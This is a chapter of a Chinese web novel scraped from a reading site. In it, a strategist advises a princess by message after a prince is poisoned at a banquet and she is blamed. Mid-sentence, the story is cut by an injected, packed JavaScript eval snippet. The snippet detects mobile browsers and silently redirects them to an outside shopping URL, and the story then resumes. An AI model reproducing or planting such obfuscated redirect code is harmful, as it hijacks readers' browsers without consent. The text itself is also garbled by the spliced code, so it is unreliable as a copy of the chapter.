默认冷灰
24号文字
方正启体

15. 宴中毒

作者:盐星星本书字数:K更新时间:
    【青耕】:细说!何时中毒?何种毒?症状如何?你此刻处境?


    一连四问,急促如鼓点。


    光幕那头,“我言秋日”的回复很快,但字迹略显凌乱,显然也是强压惊惶:


    【我言秋日】:就在方才,宴至中途。第三道菜是蟹酿橙,众人皆动筷。安平郡王食后不久,忽然面色发青,捂腹剧痛,呕出黑血,现已昏迷。医官正在救治,说是……似中‘牵机’之毒。


    牵机毒!


    嬴政眼神骤冷。此毒剧烈,发作快,疼痛如绞,故名“牵机”。多用于宫廷秘事,民间罕见。


    更关键的是——第三道菜。


    那封匿名信曾提醒:“宴上第三道菜,勿碰。”


    是预警?还是……早知有毒?


    【青耕】:你可曾碰那道菜?


    【我言秋日】:未碰!依先生言,我借口服药忌寒凉,只动了旁边素菜。且我随行侍女试菜时,也未曾试蟹酿橙——因是分餐小盏,她只试了我的份例。


    好。至少她自身无碍。


    但麻烦才刚刚开始。


    【青耕】:宴上还有何人中毒?


    【我言秋日】:目前只安平郡王一人。光禄大夫、两位宗室老人都无恙。但……但安平郡王昏迷前,手指着我,嘶声道‘你……你……’未说完便厥过去。在场众人皆见!


    指认!


    这是要将毒杀皇叔的罪名,扣在她头上。


    嬴政深吸一口气,强迫自己冷静。越危机关头,越需镇定。


    【青耕】:你此刻在何处?可有被限制行动?


    【我言秋日】:仍在宴厅偏厢。郡王府侍卫已封锁内外,不许任何人离开。京兆尹的人刚到,正在勘查。他们……还未动我,但目光不善。


    封锁现场,勘查,这是正常程序。但若勘查方向被引导……


    【青耕】:听着,按我说的做:一、立刻要求你的所有随从聚拢在你身旁,不得与任何人单独接触。二、主动要求验看你的餐具、剩余食物、以及你触碰过的所有物件。三、当着京兆尹的面,清晰陈述:你因需回宫侍疾,宴前已声明不食寒凉之物,故未碰蟹酿橙,有随行侍女及同席者为证。四、要求立刻彻查蟹酿橙的烹制、传菜全过程,所有经手之人一律暂扣。


    条理清晰,步步为营。


    主动要求验看,是示清白;强调“声明在先”,是铺垫合理性;要求彻查经手人,是将调查方向引向更可能的投毒环节——厨房、传菜,而非她这个公开声名不碰此菜的客人。


    【我言秋日】:是!我这就去说!


    【青耕】:还有——匿名信之事,暂勿提及。


    【我言秋日】:明白!


    对话暂停。


    嬴政靠回椅背,手指无意识地敲击扶手。墨玉似乎感受到紧张气氛,跳上书案,安静地趴在他手边,眼睛盯着光幕。


    窗外,晨雾已散尽,秋阳明亮。但书房内的空气,却仿佛凝滞了。


    牵机毒……指认……第三道菜……


    太过明显了。


    若真是“我言秋日”下毒,会选在自己声明不碰的菜里?会在众目睽睽下让安平郡王指认?会如此蠢么?


    这更像是一个粗糙的构陷。但正因其粗糙,反而难破——因为指向明确,且安平郡王确实中毒了,生死未卜。


    关键在于:毒是怎么下的?何时下的?谁有机会?


    以及……那封匿名信的主人,是否知道更多内情?


    正思索间,光幕又闪。这次是“檐下雀”。


    【檐下雀】:先生!刚得急报,安平郡王府出事了!郡王中毒,昏迷不醒,京兆尹已封锁府邸!


    消息传得真快。


    【青耕】:知道了。你勿插手,静观其变。


    【檐下雀】:先生,此事……是否与北境之事有关?董太师刚受挫,安平郡王便中毒,未免太过巧合。


    这年轻人,也开始学会联想了。


    【青耕】:或有牵连,但无实证前,不可妄言。你只需记住:此事于你,未必是坏事。


    安平郡王若死,宗室中少一劲敌;若活,经此一事,与“我言秋日”已成死仇,再无转圜。无论如何,朝局都会重新洗牌。


    【檐下雀】:晚辈明白。只是……那位姑娘,怕是要受大委屈。


    还知道关心人。心性未失。


    【青耕】:她若连这关都过不去,便不配走那条路。


    话虽冷,却是实情。


    结束对话,嬴政重新看向“我言秋日”的窗口。还未有回复。


    等待的时间格外漫长。


    他起身,在书房内踱步。几步后,又回到案前,目光落在那枚墨色玉佩上。


    阴阳鱼佩……窥天机……


    若真有窥天机之能,此刻可否告诉他,那宴席之上,究竟是谁在幕后操弄?


    他拿起玉佩,指腹摩挲着中央的凹陷。触感冰凉,纹路清晰。


    忽然,他想起“鹄羽”说的“双佩合一”。


    若另一枚玉佩也在某人手中,那人是否也在通过某种方式,“窥”着这边的局势?


    这个念头让他脊背微凉。


    ---


    安平郡王府,宴厅偏厢。


    气氛凝重得能拧出水。


    “我言秋日”——本名李昭的年轻公主,端坐在圈椅中,腰背挺直,神色平静。只是袖中的手,微微攥紧,指甲陷入掌心。


    她面前,京兆尹冯大人额角见汗,不停用帕子擦拭。


    一旁,光禄大夫刘嵩眉头紧锁,另外两位宗室老人则面色惶惶,不时看向内室方向——那里,医官正在全力救治安平郡王。


    “殿下,”冯大人硬着头皮开口,“下官职责所在,需问几句……”


    “冯大人请问。”李昭声音清冷,不见波澜,“本宫定当如实相告。”


    “是、是。”冯大人清了清嗓子,“殿下今日赴宴,可曾食用第三道菜蟹酿橙?”


    “未曾。”李昭答得干脆,“本宫近日服用汤药,御医嘱忌食寒凉,故宴前已向郡王叔祖说明,蟹酿橙及后续几道寒性菜肴,皆不动筷。在场诸位皆可作证。”她目光扫向刘嵩和两位宗室老人。


    刘嵩点了点头:“确有此事。公主殿下入席时便言明了。”


    两位老人也附和:“是,老朽听到了。”


    冯大人记下,又问:“那殿下的随行侍女,可曾试过此菜?”


    “未曾。”李昭示意身旁的贴身侍女碧荷,“因是分餐小盏,她只试了本宫面前那份例菜。蟹酿橙未动,故未试。”


    碧荷立刻跪下:“奴婢可对天发誓,殿下那份蟹酿橙,奴婢绝未触碰,更未试吃!”


    冯大人看了看碧荷,又看了看李昭面前那份原封未动的蟹酿橙小盏,点点头:“下官明白了。那……殿下可能解释,为何郡王爷会指着殿下……”


    “本宫不知。”李昭打断他,语气依旧平稳,“郡王叔祖中毒痛苦,神志不清,所指为何,恐非本意。冯大人身为父母官,当查清毒从何来,而非纠结于病人呓语。”


    这话说得有理有据,且带着隐隐的威压。


    冯大人汗出得更多了:“是、是。下官已命人扣押所有厨房、传菜仆役,并请了刑部仵作前来验毒。只是……还需殿下稍候片刻,待初步结果出来。”


    “本宫理解。”李昭微微颔首,“只是父皇病中,本宫需回宫侍疾。若冯大人无确凿证据需扣押本宫,可否容本宫先行回宫?本宫可留碧荷在此,配合调查。若有事传唤,本宫随传随到。”


    以退为进,且合情合理。


    冯大人迟疑。按律,涉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114056|195895||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    案人员不得离场。但眼前这位是公主,且目前并无直接证据指向她,只有郡王昏迷前含糊的指认……


    他正为难,内室门帘一掀,医官走了出来,面色沉重。


    “郡王爷如何?”刘嵩急问。


    医官摇头:“毒已入脏腑,学生……尽力了。若能熬过今夜,或有一线生机。”


    众人脸色皆变。


    李昭袖中的手,攥得更紧。安平郡王若死,此事便成弑亲大案,再难善了。


    冯大人一咬牙:“殿下,情况紧急,恕下官斗胆,需请殿下暂留府中,待……”


    话未说完,外间忽然传来一阵喧哗。


    一名郡王府侍卫急匆匆进来:“大人!府外来了几位公公,说是奉旨,接公主殿下回宫!”


    奉旨?


    众人皆是一愣。


    李昭心中也是一惊,但面上不露,只看向冯大人:“冯大人,看来父皇已知此事。本宫是留是走,请大人决断。”


    冯大人哪里还敢“决断”,连忙道:“既是陛下旨意,下官岂敢阻拦。殿下请。”


    李昭起身,对刘嵩等人微微颔首,便带着碧荷向外走去。


    步伐平稳,但只有她自己知道,后背衣衫已被冷汗浸湿。


    走出宴厅,穿过庭院,府门处果然站着几名宫中内侍,为首的是皇帝身边得力的老太监张公公。


    “殿下受惊了。”张公公躬身行礼,声音低而清晰,“陛下听闻郡王府出事,特命老奴接殿下回宫。车驾已备好。”


    “有劳公公。”李昭点头,登上马车。


    车帘落下,隔绝了外界所有视线。她这才松了那口气,整个人几乎虚脱。


    马车缓缓驶离郡王府。李昭定了定神,立刻通过论坛给“青耕”发信:


    【我言秋日】:先生,我已出府,奉旨回宫。安平郡王危重,恐难熬过今夜。


    几乎同时,嬴政的回复就到了:


    【青耕】:奉旨回宫?何人传旨?


    【我言秋日】:是父皇身边的张公公。


    【青耕】:陛下已知此事?


    【我言秋日】:应是。但父皇病重,如何得知?又为何立刻下旨接我?


    这也是嬴政的疑问。皇帝病重,消息传递应不会如此迅捷。除非……有人刻意让皇帝知道,且说服了皇帝立刻下旨。


    是谁?


    光禄大夫刘嵩?他宴上态度中立,且女儿是贵妃,有机会递话入宫。


    还是……另有其人?


    嬴政沉吟片刻,回复:


    【青耕】:此事蹊跷。但无论如何,你已脱身。回宫后,立刻去陛下寝宫请安谢恩,将宴上经过如实禀报——只略去匿名信。看陛下反应。


    【我言秋日】:是。先生,若安平郡王真的……我该如何自处?


    【青耕】:若他死,弑亲罪名必起。届时,你需做三件事:一、自请禁足宫中,以示哀恸与待查之诚。二、让你舅父旧部在北境‘加强戒备’,并‘不经意’传出风声:安平郡王曾与北狄有秘密往来。三、在论坛发一帖,标题可为‘权力之争,是否必然你死我活?’,内容反思权争残酷,但强调自身清白,并质问幕后黑手。此帖可引导舆论。


    先示弱,再反击,同时引导舆论。


    李昭看着这三条,心中渐定。


    【我言秋日】:谢先生。我……不怕了。


    嬴政看着这行字,眼中掠过一丝极淡的欣慰。


    【青耕】:去吧。


    结束对话,嬴政靠回椅背,揉了揉眉心。


    墨玉“喵”了一声,跳上他膝头。


    “这一局,”嬴政低声道,“才刚刚开始。”


    他看向窗外。


    秋阳正盛,但山风已带寒意。


    冬天,快来了。


    ---
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)